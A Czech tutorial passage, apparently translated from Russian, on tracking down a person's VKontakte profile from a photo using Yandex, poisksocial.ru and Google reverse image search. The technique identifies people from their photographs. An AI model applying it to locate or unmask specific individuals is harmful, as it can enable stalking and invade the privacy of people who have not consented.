    Přejděte dolů a podívejte se na seznam stránek, kde se obrázek nachází. Vyberte některý z navrhovaných. V příkladu jsem se usadil na poisksocial.ru. Klikněte pravým tlačítkem na název a ze seznamu vyberte „Otevřít odkaz na nové kartě“.

    Na webu, který se otevře, můžete vyhledat osobu v jakékoli ze sociálních sítí, které jsou v seznamu vlevo. Již jsme vybrali Vkontakte a uvedli celé jméno, pro které se výsledky zobrazují (mimochodem, nezadal jsem je, byly registrovány již při otevření stránky. I když hledám člověka s jiným úplným jméno, pro čistotu experimentu jsem nic neměnil).

    Okno uprostřed zobrazuje všechny dostupné vhodné uživatelské stránky. Procházíme je a ano, je tam člověk, kterého potřebuji, a na jeho avataru je fotka, kterou jsem hledal.

    Klikněte na jméno a na další stránce vyberte libovolný obrázek z fotogalerie. Otevře se stránka Vkontakte nalezeného uživatele a můžete předpokládat, že jste ho našli.

    Vyhledávání obrázků Google

    Vyhledávač Google má úplně stejnou službu jako Yandex. Zkusme stejným způsobem najít moji stránku Vkontakte z fotografie, která je na mém avataru.

    Přejdeme na domovskou stránku Google a v pravém horním rohu klikneme na odkaz „Obrázky“:

    Otevřeme službu vyhledávání obrázků, přesuneme kurzor do pravého rohu vyhledávacího řádku a klikneme na ikonu fotoaparátu. Toto tlačítko se nazývá "Hledat podle obrázku".

    V okně, které se otevře, přejděte na kartu „Nahrát soubor“ a klikněte na tlačítko „Vybrat soubor“:

    Nahrajeme fotografii, pomocí které chceme vyhledat účet Vkontakte a sledovat výsledky.

    Dostal jsem požadavky související s oficiálním dress codem (protože lidé na fotce jsou černobílí). A v podobných obrázcích nic nebylo.

    Pokud máte to samé, pojďme hledání trochu upřesnit. Chcete-li to provést, musíte do příslušného řádku zadat jméno a příjmení hledané osoby (je žádoucí, aby se shodovaly s tím, jak je uživatel podepsán ve VK), a klikněte na lupu.

    Jak vidíte, moje stránka Vkontakte byla znovu nalezena, což znamená, že jsme znovu dosáhli našeho cíle. A tímto končím tento článek, ve kterém jsme se naučili hledat stránky ve VK z fotografií.